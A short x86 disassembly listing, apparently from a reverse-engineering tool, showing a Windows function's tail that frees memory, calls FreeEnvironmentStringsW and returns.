jne 0x43dfd2
push edi
call fcn.0043b1f0
jmp 0x43dfda
push ebx
call fcn.0043b1f0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret